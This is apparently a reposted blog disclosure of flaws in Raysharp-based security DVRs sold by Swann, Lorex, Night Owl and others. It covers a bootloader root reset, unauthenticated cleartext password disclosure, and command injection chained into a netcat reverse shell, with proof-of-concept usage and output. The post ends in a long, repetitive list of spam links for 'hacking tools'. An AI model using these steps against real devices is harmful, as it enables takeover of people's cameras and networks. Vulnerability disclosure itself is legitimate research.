I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.
Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 singleThis change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.
After owning the device at the "application" level, I figured it was time to go deeper.
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
More info
- Hacker Tools For Pc
- Hacker Tools Github
- Hack Tool Apk
- Hack Tools 2019
- Hacking Tools Free Download
- Hack Tools For Ubuntu
- Pentest Tools Alternative
- Tools For Hacker
- Hack Tools Online
- Hacker Security Tools
- New Hacker Tools
- Github Hacking Tools
- Hacking Tools Pc
- Physical Pentest Tools
- Hacking Tools Download
- Pentest Tools Tcp Port Scanner
- Hack Tools For Pc
- Hacker Tools For Pc
- Tools 4 Hack
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Port Scanner
- Hackrf Tools
- Bluetooth Hacking Tools Kali
- Hacking Tools Kit
- Hack Rom Tools
- Hacker Tools Hardware
- Hacker Tools List
- Kik Hack Tools
- Hacker Tools Free
- Hacking Tools For Pc
- Hacking Tools For Windows Free Download
- Termux Hacking Tools 2019
- Hacker Tools For Mac
- Android Hack Tools Github
- Hack Tools For Mac
- Android Hack Tools Github
- Hack Tools For Windows
- Pentest Tools For Ubuntu
- Hack App
- Best Hacking Tools 2019
- Hacks And Tools
- Hacker Tools Software
- Top Pentest Tools
- Hack Tools Download
- Hack Tools Github
- Pentest Tools Free
- Hacking Tools Pc
- Pentest Tools Github
- Pentest Tools Open Source
- New Hacker Tools
- Pentest Tools Nmap
- Hackers Toolbox
- Hack Tools Github
- Pentest Tools Port Scanner
- Black Hat Hacker Tools
- Pentest Box Tools Download
- Hacker Tools List
- Hacking Tools Hardware
- Pentest Tools Tcp Port Scanner
- Hacker Tools 2019
- Hackrf Tools
- Usb Pentest Tools
- Hacking Tools Name
- Hacking App
- Hacker Tools 2020
- Hack Tools For Games
- Tools Used For Hacking
- Pentest Tools For Windows
- Hacking Tools For Pc
- Pentest Tools Download
- Hacking Tools Download
- Pentest Tools Open Source
- Hack Tools Online
- Hacking Tools For Windows
- Game Hacking
- Hacker Tools
- Hack Tools For Ubuntu
- Tools 4 Hack
- Pentest Tools Framework
- Hack Tools For Pc
- Pentest Tools Port Scanner
- Pentest Tools List
- Hacker Techniques Tools And Incident Handling
- Pentest Tools For Windows
- Black Hat Hacker Tools
- Pentest Tools Free
- Github Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Hack Tools Github
- Top Pentest Tools
- Pentest Automation Tools
- Install Pentest Tools Ubuntu
- Physical Pentest Tools
- Hackrf Tools
- Pentest Tools Framework
- Hacking Tools For Games
- What Is Hacking Tools
- Hack Apps
- Hack Tools Online
- Easy Hack Tools
- Game Hacking
- Hacking Tools For Pc
- Hacker Tools For Windows
- Hacking Tools Online
- Pentest Tools Framework
- Pentest Tools Open Source
- Pentest Tools For Android
- Hacking Tools Pc
- Hacking Tools
- Pentest Tools For Windows
- Hacking Tools Download
- Hack Website Online Tool
- Hacker Tools Windows
- Black Hat Hacker Tools
- Hacking Tools
- Hacker Tool Kit
- Hack Rom Tools
- Kik Hack Tools
- Game Hacking
- Hak5 Tools
- Hacking Tools Pc
- Hacking Tools For Pc
- Pentest Tools Review
- Best Hacking Tools 2020
- Best Pentesting Tools 2018
- Hacker Tools Online
- Hacker Tools Free
- Hacker Tools 2020
- Hacking Tools Kit
- Tools 4 Hack
- Underground Hacker Sites
- Hack Website Online Tool
- Hacking Tools For Pc
- Pentest Tools For Ubuntu
- Hacker Hardware Tools
- Pentest Tools Website
- Hacker
- Hacking Tools 2020
- Computer Hacker
- Hacking Tools Pc
- Hackers Toolbox
- Pentest Tools Subdomain
- Best Hacking Tools 2019
- Hacking Tools Pc
- Hacking Tools And Software
- Hacker Tools Windows
- Pentest Tools Github
- Hack Tools
- Hackrf Tools
- Pentest Tools List
- Pentest Box Tools Download
- Hacker Tools Mac
- Pentest Tools Linux
- Hack Tool Apk No Root
- Hacker Tools Mac
- Hacking Tools For Kali Linux
- Hacker Tools For Mac
- Hacking Tools For Games
- Nsa Hack Tools
- Hacker Tools Linux
- Nsa Hacker Tools
- Hack Rom Tools
No comments:
Post a Comment